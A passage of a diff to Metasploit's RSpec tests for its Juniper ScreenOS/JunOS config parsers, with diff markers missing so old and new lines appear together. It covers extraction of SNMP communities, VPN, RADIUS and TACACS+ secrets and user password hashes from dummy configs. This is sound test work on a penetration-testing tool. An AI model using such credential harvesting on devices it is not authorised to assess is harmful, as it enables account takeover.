"set user \"testuser\" type auth\n" <<
"set user \"testuser\" hash-password \"02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE=\"\n" <<
"set user \"testuser\" enable\n")
end
context 'deals with snmp-server community' do
it 'with Read permission' do
expect(aux_juniper).to receive(:print_good).with('SNMP community sales with permissions Read-Only')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "sales",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'sales',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RO'
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',1337,'set snmp community "sales" Read-Only Trap-on traffic version v1')
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 1337, 'set snmp community "sales" Read-Only Trap-on traffic version v1')
end
it 'with Read-Write permission' do
expect(aux_juniper).to receive(:print_good).with('SNMP community sales with permissions Read-Write')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "sales",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'sales',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RW'
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',1337,'set snmp community "sales" Read-Write Trap-on traffic version v1')
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 1337, 'set snmp community "sales" Read-Write Trap-on traffic version v1')
end
end
it 'deals with ppp configurations' do
expect(aux_juniper).to receive(:print_good).with('PPTP Profile ISP with username username hash fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA== via pap')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:store_loot).with(
"juniper.netscreen.config", "text/plain", "127.0.0.1",
"setppp profile \"ISP\" auth type pap\n" <<
"setppp profile \"ISP\" auth local-name \"username\"\n" <<
"setppp profile \"ISP\" auth secret \"fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA==\"",
"config.txt", "Juniper Netscreen Configuration"
'juniper.netscreen.config', 'text/plain', '127.0.0.1',
"setppp profile \"ISP\" auth type pap\n" <<
"setppp profile \"ISP\" auth local-name \"username\"\n" <<
'setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="',
'config.txt', 'Juniper Netscreen Configuration'
)
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1723,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'pptp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "username",
private_data: "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA==",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'username',
private_data: 'fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA==',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',1337,
"setppp profile \"ISP\" auth type pap\n" <<
"setppp profile \"ISP\" auth local-name \"username\"\n" <<
"setppp profile \"ISP\" auth secret \"fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA==\"\n"
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 1337,
"setppp profile \"ISP\" auth type pap\n" <<
"setppp profile \"ISP\" auth local-name \"username\"\n" <<
"setppp profile \"ISP\" auth secret \"fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA==\"\n")
end
it 'deals with ike configurations' do
expect(aux_juniper).to receive(:print_good).with('IKE Profile To-Cisco to 2.2.2.1 with password netscreen via pre-g2-des-sha')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper ScreenOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper ScreenOS' })
expect(aux_juniper).to receive(:store_loot).with(
"juniper.netscreen.config", "text/plain", "127.0.0.1",
"set ike gateway \"To-Cisco\" address 2.2.2.1 Main outgoing-interface \"ethernet1\" preshare \"netscreen\" proposal \"pre-g2-des-sha\"",
"config.txt", "Juniper Netscreen Configuration"
'juniper.netscreen.config', 'text/plain', '127.0.0.1',
'set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"',
'config.txt', 'Juniper Netscreen Configuration'
)
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "2.2.2.1",
address: '2.2.2.1',
port: 500,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'ike',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "netscreen",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'netscreen',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_screenos_config_eater('127.0.0.1',1337,'set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"')
aux_juniper.juniper_screenos_config_eater('127.0.0.1', 1337, 'set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"')
end
end
context '#juniper_junos_config_eater' do
@@ -248,63 +247,135 @@ RSpec.describe Msf::Auxiliary::Juniper do
it 'deals with root credentials' do
expect(aux_juniper).to receive(:print_good).with('root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
#expect(aux_juniper).to receive(:store_loot).with(
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
# expect(aux_juniper).to receive(:store_loot).with(
# "juniper.netscreen.config", "text/plain", "127.0.0.1", "enable password 1511021F0725", "config.txt", "Cisco IOS Configuration"
#)
# )
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "root",
private_data: "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.",
jtr_format: "md5",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'root',
private_data: '$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.',
jtr_format: 'md5',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',161,
%q(system {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 161,
%q(system {
root-authentication {
encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
}
}
)
)
))
end
context 'deals with user account with password hash' do
it 'with super-user' do
expect(aux_juniper).to receive(:print_good).with('User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
"system {\n login {\n user newuser {\n uid 2000;\n class super-user;\n authentication {\n encrypted-password \"$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/\"; ## SECRET-DATA\n }\n }\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
context 'deals tacplus-server blocks' do
it 'with one cred' do
expect(aux_juniper).to receive(:print_good).with('tacplus server 1.1.1.1 with password hash $9$aaAAAAAeAA1AAAb2AAjAqmAA')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"tacplus-server {\n 1.1.1.1 secret \"$9$aaAAAAAeAA1AAAb2AAjAqmAA\"; ## SECRET-DATA\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1337,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "newuser",
jtr_format: "md5",
private_data: "$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
jtr_format: '',
private_data: '$9$aaAAAAAeAA1AAAb2AAjAqmAA',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(system {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(tacplus-server {
1.1.1.1 secret "$9$aaAAAAAeAA1AAAb2AAjAqmAA"; ## SECRET-DATA
}))
end
it 'with two cred' do
expect(aux_juniper).to receive(:print_good).with('tacplus server 1.1.1.1 with password hash $9$aaAAAAAeAA1AAAb2AAjAqmAA')
expect(aux_juniper).to receive(:print_good).with('tacplus server 2.2.2.2 with password hash $9$aaaAa/1aAAAa1aaaAAaa11aAA')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"tacplus-server {\n 1.1.1.1 secret \"$9$aaAAAAAeAA1AAAb2AAjAqmAA\"; ## SECRET-DATA\n 2.2.2.2 secret \"$9$aaaAa/1aAAAa1aaaAAaa11aAA\"; ## SECRET-DATA\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1337,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$aaAAAAAeAA1AAAb2AAjAqmAA',
jtr_format: '',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1337,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$aaaAa/1aAAAa1aaaAAaa11aAA',
jtr_format: '',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(tacplus-server {
1.1.1.1 secret "$9$aaAAAAAeAA1AAAb2AAjAqmAA"; ## SECRET-DATA
2.2.2.2 secret "$9$aaaAa/1aAAAa1aaaAAaa11aAA"; ## SECRET-DATA
}))
end
end
context 'deals with user account with password hash' do
it 'with super-user' do
expect(aux_juniper).to receive(:print_good).with('User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"system {\n login {\n user newuser {\n uid 2000;\n class super-user;\n authentication {\n encrypted-password \"$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/\"; ## SECRET-DATA\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1337,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'newuser',
jtr_format: 'md5',
private_data: '$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(system {
login {
user newuser {
uid 2000;
@@ -315,36 +386,34 @@ RSpec.describe Msf::Auxiliary::Juniper do
}
}
}
)
)
))
end
it 'with operator' do
expect(aux_juniper).to receive(:print_good).with('User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
"system {\n login {\n user newuser2 {\n uid 2002;\n class operator;\n authentication {\n encrypted-password \"$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0\"; ## SECRET-DATA\n }\n }\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"system {\n login {\n user newuser2 {\n uid 2002;\n class operator;\n authentication {\n encrypted-password \"$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0\"; ## SECRET-DATA\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1337,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "newuser2",
jtr_format: "md5",
private_data: "$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'newuser2',
jtr_format: 'md5',
private_data: '$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(system {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(system {
login {
user newuser2 {
uid 2002;
@@ -355,36 +424,73 @@ RSpec.describe Msf::Auxiliary::Juniper do
}
}
}
)
)
))
end
it 'with read-only' do
expect(aux_juniper).to receive(:print_good).with('User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
"system {\n login {\n user newuser3 {\n uid 2003;\n class read-only;\n authentication {\n encrypted-password \"$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.\"; ## SECRET-DATA\n }\n }\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
it 'with a full-name and custom class' do
expect(aux_juniper).to receive(:print_good).with('User 2002 named newuser2 in group EXAMPLE found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"system {\n login {\n user newuser2 {\n full-name \"test\";\n uid 2002;\n class EXAMPLE;\n authentication {\n encrypted-password \"$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0\"; ## SECRET-DATA\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1337,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "newuser3",
jtr_format: "md5",
private_data: "$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'newuser2',
jtr_format: 'md5',
private_data: '$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(system {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(system {
login {
user newuser2 {
full-name "test";
uid 2002;
class EXAMPLE;
authentication {
encrypted-password "$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0"; ## SECRET-DATA
}
}
}
}
))
end
it 'with read-only' do
expect(aux_juniper).to receive(:print_good).with('User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"system {\n login {\n user newuser3 {\n uid 2003;\n class read-only;\n authentication {\n encrypted-password \"$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.\"; ## SECRET-DATA\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1337,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'newuser3',
jtr_format: 'md5',
private_data: '$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(system {
login {
user newuser3 {
uid 2003;
@@ -395,36 +501,34 @@ RSpec.describe Msf::Auxiliary::Juniper do
}
}
}
)
)
))
end
it 'with unauthorized' do
expect(aux_juniper).to receive(:print_good).with('User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
"system {\n login {\n user newuser4 {\n uid 2004;\n class unauthorized;\n authentication {\n encrypted-password \"$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/\"; ## SECRET-DATA\n }\n }\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"system {\n login {\n user newuser4 {\n uid 2004;\n class unauthorized;\n authentication {\n encrypted-password \"$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/\"; ## SECRET-DATA\n }\n }\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 1337,
protocol: "tcp",
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
username: "newuser4",
jtr_format: "md5",
private_data: "$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
username: 'newuser4',
jtr_format: 'md5',
private_data: '$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(system {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(system {
login {
user newuser4 {
uid 2004;
@@ -435,160 +539,221 @@ RSpec.describe Msf::Auxiliary::Juniper do
}
}
}
)
)
))
end
end
context 'deals with snmp-server community' do
it 'with Read permissions' do
expect(aux_juniper).to receive(:print_good).with('SNMP community read with permissions read-only')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "read",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'read',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RO'
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(snmp {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(snmp {
community read {
authorization read-only;
}
}
)
)
))
end
it 'with Read-Write permissions and view' do
expect(aux_juniper).to receive(:print_good).with('SNMP community write with permissions read-write')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "write",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'write',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RW'
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(snmp {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(snmp {
community write {
view jweb-view-all;
authorization read-write;
}
}
)
)
))
end
it 'with a space in the community string' do
expect(aux_juniper).to receive(:print_good).with('SNMP community hello there with permissions read-write')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "127.0.0.1",
address: '127.0.0.1',
port: 161,
protocol: "udp",
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "hello there",
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'hello there',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RW'
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(snmp {
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(snmp {
community "hello there" {
authorization read-write;
}
}
)
)
))
end
it 'with special characters in the community string' do
expect(aux_juniper).to receive(:print_good).with('SNMP community aAa321$+!AaAaaa with permissions read-only')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: 'aAa321$+!AaAaaa',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
access_level: 'RO'
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(snmp {
community "aAa321$+!AaAaaa" {
authorization read-only;
}
}
))
end
end
it 'deals with radius' do
expect(aux_juniper).to receive(:print_good).with('radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
"access {\n radius-server {\n 1.1.1.1 secret \"$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV\"; ## SECRET-DATA\n }\n }",
"config.txt", "Juniper JunOS Configuration"
)
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: "1.1.1.1",
port: 1812,
protocol: "udp",
workspace_id: workspace.id,
origin_type: :service,
service_name: 'radius',
module_fullname: "auxiliary/scanner/snmp/juniper_dummy",
private_data: "$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV",
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1',1337,
%q(access {
context 'deals radius-server blocks' do
it 'with one credential' do
expect(aux_juniper).to receive(:print_good).with('radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"access {\n radius-server {\n 1.1.1.1 secret \"$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV\"; ## SECRET-DATA\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '1.1.1.1',
port: 1812,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'radius',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(access {
radius-server {
1.1.1.1 secret "$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV"; ## SECRET-DATA
}
}
)
)
end
))
end
it 'with two credentials' do
expect(aux_juniper).to receive(:print_good).with('radius server 2.2.2.2 password hash: $9$Y-11ikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKv111')
expect(aux_juniper).to receive(:print_good).with('radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV')
expect(aux_juniper).to receive(:report_host).with({ host: '127.0.0.1', os_name: 'Juniper JunOS' })
expect(aux_juniper).to receive(:store_loot).with('juniper.junos.config', 'text/plain', '127.0.0.1',
"access {\n radius-server {\n 1.1.1.1 secret \"$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV\"; ## SECRET-DATA\n 2.2.2.2 secret \"$9$Y-11ikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKv111\"; ## SECRET-DATA\n }\n }",
'config.txt', 'Juniper JunOS Configuration')
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '1.1.1.1',
port: 1812,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'radius',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_juniper).to receive(:create_credential_and_login).with(
{
address: '2.2.2.2',
port: 1812,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'radius',
module_fullname: 'auxiliary/scanner/snmp/juniper_dummy',
private_data: '$9$Y-11ikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKv111',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_juniper.juniper_junos_config_eater('127.0.0.1', 1337,
%q(access {
radius-server {
1.1.1.1 secret "$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV"; ## SECRET-DATA
2.2.2.2 secret "$9$Y-11ikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKv111"; ## SECRET-DATA
}
}
))
end
end
it 'deals with pap' do
expect(aux_juniper).to receive(:print_good).with('PPTP username \'pap_username\' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP')
expect(aux_juniper).to receive(:report_host).with({:host => '127.0.0.1', :os_name => 'Juniper JunOS'})
expect(aux_juniper).to receive(:store_loot).with("juniper.junos.config", "text/plain", "127.0.0.1",
